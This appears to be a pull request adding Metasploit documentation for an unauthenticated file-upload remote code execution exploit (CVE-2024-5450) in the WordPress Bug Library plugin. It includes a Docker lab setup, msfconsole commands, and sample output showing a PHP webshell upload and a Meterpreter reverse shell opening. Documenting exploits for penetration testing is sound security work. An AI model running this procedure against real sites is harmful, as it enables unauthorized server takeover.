Add WordPress Bug Library < 2.1.1 unauthenticated file upload RCE module (CVE-2024-5450)

documentation/modules/exploit/unix/webapp/wp_bug_library_file_upload.md

@@ -0,0 +1,134 @@
+## Vulnerable Application
+
+The [Bug Library](https://wordpress.org/plugins/bug-library/) WordPress plugin before version 2.1.1
+allows unauthenticated users to submit bug reports via a public-facing form. The form accepts file
+attachments without validating the file extension or MIME type, allowing an attacker to upload
+arbitrary PHP files and achieve remote code execution.
+
+**CVE:** CVE-2024-5450
+**CVSS Score:** 10.0 (Critical)
+**CWE:** CWE-434: Unrestricted Upload of File with Dangerous Type
+**Fixed in:** Bug Library 2.1.1
+
+### Setup (Docker)
+
+```bash
+# Start a local WordPress environment
+mkdir wp_lab && cd wp_lab
+cat > docker-compose.yml << 'YAML'
+version: '3.8'
+services:
+  db:
+    image: mysql:5.7
+    environment:
+      MYSQL_DATABASE: wp
+      MYSQL_USER: wp
+      MYSQL_PASSWORD: wp
+      MYSQL_ROOT_PASSWORD: rootpass
+  wordpress:
+    image: wordpress:6.4
+    ports:
+      - "8080:80"
+    depends_on:
+      - db
+    environment:
+      WORDPRESS_DB_HOST: db
+      WORDPRESS_DB_USER: wp
+      WORDPRESS_DB_PASSWORD: wp
+      WORDPRESS_DB_NAME: wp
+YAML
+docker-compose up -d
+```
+
+1. Complete the WordPress installation at `http://localhost:8080`
+2. Install Bug Library plugin version < 2.1.1
+3. Go to **Settings → Bug Library** and enable **Allow Attachments**
+4. Ensure CAPTCHA is disabled (default)
+
+## Verification Steps
+
+1. Start `msfconsole`
+2. Load the module:
+   ```
+   use exploit/unix/webapp/wp_bug_library_file_upload
+   ```
+3. Configure options:
+   ```
+   set RHOSTS <target_ip>
+   set RPORT <target_port>
+   set LHOST <your_ip>
+   ```
+4. Run the check:
+   ```
+   check
+   ```
+   Expected output:
+   ```
+   [*] The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found)
+   ```
+5. Run the exploit:
+   ```
+   run
+   ```
+
+## Options
+
+| Option | Default | Description |
+|--------|---------|-------------|
+| RHOSTS | — | Target WordPress host |
+| RPORT | 80 | Target port |
+| TARGETURI | / | Base path to WordPress installation |
+| MAX_POST_SEARCH | 50 | Maximum post ID range to search for the uploaded shell |
+
+## Scenarios
+
+### Successful exploitation
+
+```
+msf6 exploit(unix/webapp/wp_bug_library_file_upload) > check
+[*] 127.0.0.1:8080 - The target appears to be vulnerable. Bug Library plugin detected (stylesheet.css found)
+
+msf6 exploit(unix/webapp/wp_bug_library_file_upload) > run
+[*] Started reverse TCP handler on 172.17.0.1:4444
+[*] Retrieving valid product/type term IDs from the bug-submission form...
+[*] Using product_id=2, type_id=3
+[*] Determining current post ID baseline...
+[*] Post ID baseline: 5. Will search up to 55.
+[*] Uploading PHP payload as 'RLwIQTQn.php'...
+[+] Bug report accepted by the server. Searching for the uploaded webshell...
+[+] Webshell located at: http://127.0.0.1:8080/wp-content/uploads/bug-library/bugimage-6.php
+[*] Sending request to execute payload...
+[*] Meterpreter session 1 opened (172.17.0.1:4444 -> 172.17.0.2:49812)
+
+meterpreter > getuid
+Server username: www-data
+meterpreter > sysinfo
+Computer    : wordpress-container
+OS          : Linux wordpress-container 6.1.0 #1 SMP
+Meterpreter : php/linux
+```
+
+### Plugin not detected
+
+```
+msf6 exploit(unix/webapp/wp_bug_library_file_upload) > check
+[*] 127.0.0.1:8080 - The target is not exploitable. Unexpected HTTP 404 for plugin stylesheet
+```
+
+The Bug Library plugin is not installed or active on this WordPress instance.
+
+### CAPTCHA or attachments disabled
+
+```
+[*] Uploading PHP payload as 'RLwIQTQn.php'...
+[-] Exploit failed: Upload failed (HTTP 200). Possible causes: CAPTCHA is enabled,
+    "Allow Attachments" is disabled, or required form fields were rejected by the server.
+```
+
+Ensure that **Allow Attachments** is enabled and CAPTCHA is disabled in the plugin settings.
+
+## References
+
+- [WPScan Vulnerability Database](https://wpscan.com/vulnerability/d91217bc-9f8f-4971-885e-89edc45b2a4d)
+- [NVD CVE-2024-5450](https://nvd.nist.gov/vuln/detail/CVE-2024-5450)
+- [Bug Library Plugin](https://wordpress.org/plugins/bug-library/)